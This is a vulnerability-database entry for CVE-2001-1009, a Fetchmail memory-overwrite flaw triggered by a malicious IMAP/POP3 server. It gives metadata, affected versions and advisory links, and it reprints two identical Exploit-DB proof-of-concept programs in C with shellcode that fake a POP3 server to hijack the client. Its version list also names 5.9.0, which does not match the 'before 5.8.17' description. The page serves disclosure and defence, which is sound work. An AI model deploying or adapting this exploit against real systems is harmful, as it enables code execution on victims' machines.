CVE-2001-1009 : Detail

CVE-2001-1009

A01-Broken Access Control
1.19%V3
Network
2002-02-02
04h00 +00:00
2002-08-16
22h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Fetchmail (aka fetchmail-ssl) before 5.8.17 allows a remote malicious (1) IMAP server or (2) POP/POP3 server to overwrite arbitrary memory and possibly gain privileges via a negative index number as part of a response to a LIST request.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 21066

Publication date : 2001-08-08
22h00 +00:00
Author : Sanfillipo antirez
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/3166/info Fetchmail is a unix utility for downloading email from mail servers via POP3 and IMAP. Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory. It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's IMAP server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. /* fetchmail proof of concepts i386 exploit * Copyright (C) 2001 Salvatore Sanfilippo <[email protected]> * Code under the GPL license. * * Usage: ./a.out | nc -l -p 3333 * fetchmail localhost -P 3333 -p POP3 * * This is a bad exploit with offset carefully selected * to work in my own system. It will probably not work in * your system if you don't modify RETR_OFFSET and SHELL_PTR, * but you may try to set the SHELL_PTR to 0xAAAAAAAA * and use gdb to obtain the proof that your fetchmail is vulnerable * without to exploit it. * Or just read the code in pop3.c. * * To improve the exploit portability you may put the shellcode inside * one of the static char buffers, grep 'static char' *.c. * * Tested on fetchmail 5.8.15 running on Linux 2.4.6 * * On success you should see the ls output. */ #include <stdio.h> #define MESSAGES 10 #define RETR_OFFSET -20 #define SHELL_PTR 0xbfffba94 int main(void) { int ish = SHELL_PTR; int ret_offset = -10; char shellcode[] = /* take the shellcode multiple of 4 in size */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0"; int *sc = (int*) shellcode; int noop = 0x90909090; int i; /* +OK for user and password, than report the number of messages */ printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES); /* Overwrite the RET pointer */ for (i = ret_offset-20; i < ret_offset+20; i++) printf("%d %d\r\n", i, ish); /* Put some NOP */ for (i = 1; i < 21; i++) printf("%d %d\r\n", i, noop); /* Put the shell code in the buffer */ for (i = 21; i < 21+(sizeof(shellcode)/4); i++) printf("%d %d\r\n", i, *sc++); printf(".\r\n"); /* POP data term */ return 0; }
Exploit Database EDB-ID : 21064

Publication date : 2001-08-08
22h00 +00:00
Author : Salvatore Sanfilippo -antirez-
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/3164/info Fetchmail is a unix utility for downloading email from mail servers via POP3. Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory. It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's POP3 server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. /* fetchmail proof of concepts i386 exploit * Copyright (C) 2001 Salvatore Sanfilippo <[email protected]> * Code under the GPL license. * * Usage: ./a.out | nc -l -p 3333 * fetchmail localhost -P 3333 -p POP3 * * This is a bad exploit with offset carefully selected * to work in my own system. It will probably not work in * your system if you don't modify RETR_OFFSET and SHELL_PTR, * but you may try to set the SHELL_PTR to 0xAAAAAAAA * and use gdb to obtain the proof that your fetchmail is vulnerable * without to exploit it. * Or just read the code in pop3.c. * * To improve the exploit portability you may put the shellcode inside * one of the static char buffers, grep 'static char' *.c. * * Tested on fetchmail 5.8.15 running on Linux 2.4.6 * * On success you should see the ls output. */ #include <stdio.h> #define MESSAGES 10 #define RETR_OFFSET -20 #define SHELL_PTR 0xbfffba94 int main(void) { int ish = SHELL_PTR; int ret_offset = -10; char shellcode[] = /* take the shellcode multiple of 4 in size */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0"; int *sc = (int*) shellcode; int noop = 0x90909090; int i; /* +OK for user and password, than report the number of messages */ printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES); /* Overwrite the RET pointer */ for (i = ret_offset-20; i < ret_offset+20; i++) printf("%d %d\r\n", i, ish); /* Put some NOP */ for (i = 1; i < 21; i++) printf("%d %d\r\n", i, noop); /* Put the shell code in the buffer */ for (i = 21; i < 21+(sizeof(shellcode)/4); i++) printf("%d %d\r\n", i, *sc++); printf(".\r\n"); /* POP data term */ return 0; }

Products Mentioned

Configuraton 0

Fetchmail>>Fetchmail >> Version To (including) 5.8.14

Fetchmail>>Fetchmail >> Version 4.5.1

Fetchmail>>Fetchmail >> Version 4.5.2

Fetchmail>>Fetchmail >> Version 4.5.3

Fetchmail>>Fetchmail >> Version 4.5.4

Fetchmail>>Fetchmail >> Version 4.5.5

Fetchmail>>Fetchmail >> Version 4.5.6

Fetchmail>>Fetchmail >> Version 4.5.7

Fetchmail>>Fetchmail >> Version 4.5.8

Fetchmail>>Fetchmail >> Version 4.6.0

Fetchmail>>Fetchmail >> Version 4.6.1

Fetchmail>>Fetchmail >> Version 4.6.2

Fetchmail>>Fetchmail >> Version 4.6.3

Fetchmail>>Fetchmail >> Version 4.6.4

Fetchmail>>Fetchmail >> Version 4.6.5

Fetchmail>>Fetchmail >> Version 4.6.6

Fetchmail>>Fetchmail >> Version 4.6.7

Fetchmail>>Fetchmail >> Version 4.6.8

Fetchmail>>Fetchmail >> Version 4.6.9

Fetchmail>>Fetchmail >> Version 4.7.0

Fetchmail>>Fetchmail >> Version 4.7.1

Fetchmail>>Fetchmail >> Version 4.7.2

Fetchmail>>Fetchmail >> Version 4.7.3

Fetchmail>>Fetchmail >> Version 4.7.4

Fetchmail>>Fetchmail >> Version 4.7.5

Fetchmail>>Fetchmail >> Version 4.7.6

Fetchmail>>Fetchmail >> Version 4.7.7

Fetchmail>>Fetchmail >> Version 5.0.0

Fetchmail>>Fetchmail >> Version 5.0.1

Fetchmail>>Fetchmail >> Version 5.0.2

Fetchmail>>Fetchmail >> Version 5.0.3

Fetchmail>>Fetchmail >> Version 5.0.4

Fetchmail>>Fetchmail >> Version 5.0.5

Fetchmail>>Fetchmail >> Version 5.0.6

Fetchmail>>Fetchmail >> Version 5.0.7

Fetchmail>>Fetchmail >> Version 5.0.8

Fetchmail>>Fetchmail >> Version 5.1.0

Fetchmail>>Fetchmail >> Version 5.1.4

Fetchmail>>Fetchmail >> Version 5.2.0

Fetchmail>>Fetchmail >> Version 5.2.1

Fetchmail>>Fetchmail >> Version 5.2.3

Fetchmail>>Fetchmail >> Version 5.2.4

Fetchmail>>Fetchmail >> Version 5.2.7

Fetchmail>>Fetchmail >> Version 5.2.8

Fetchmail>>Fetchmail >> Version 5.3.0

Fetchmail>>Fetchmail >> Version 5.3.1

Fetchmail>>Fetchmail >> Version 5.3.3

Fetchmail>>Fetchmail >> Version 5.3.8

Fetchmail>>Fetchmail >> Version 5.4.0

Fetchmail>>Fetchmail >> Version 5.4.3

Fetchmail>>Fetchmail >> Version 5.4.4

Fetchmail>>Fetchmail >> Version 5.4.5

Fetchmail>>Fetchmail >> Version 5.5.0

Fetchmail>>Fetchmail >> Version 5.5.2

Fetchmail>>Fetchmail >> Version 5.5.3

Fetchmail>>Fetchmail >> Version 5.5.5

Fetchmail>>Fetchmail >> Version 5.5.6

Fetchmail>>Fetchmail >> Version 5.6.0

Fetchmail>>Fetchmail >> Version 5.7.0

Fetchmail>>Fetchmail >> Version 5.7.2

Fetchmail>>Fetchmail >> Version 5.7.4

Fetchmail>>Fetchmail >> Version 5.8

Fetchmail>>Fetchmail >> Version 5.8.1

Fetchmail>>Fetchmail >> Version 5.8.2

Fetchmail>>Fetchmail >> Version 5.8.3

Fetchmail>>Fetchmail >> Version 5.8.4

Fetchmail>>Fetchmail >> Version 5.8.5

Fetchmail>>Fetchmail >> Version 5.8.6

Fetchmail>>Fetchmail >> Version 5.8.11

Fetchmail>>Fetchmail >> Version 5.8.13

Fetchmail>>Fetchmail >> Version 5.9.0

References

http://www.debian.org/security/2001/dsa-071
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2001-103.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/3166
Tags : vdb-entry, x_refsource_BID
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000419
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.securityfocus.com/bid/3164
Tags : vdb-entry, x_refsource_BID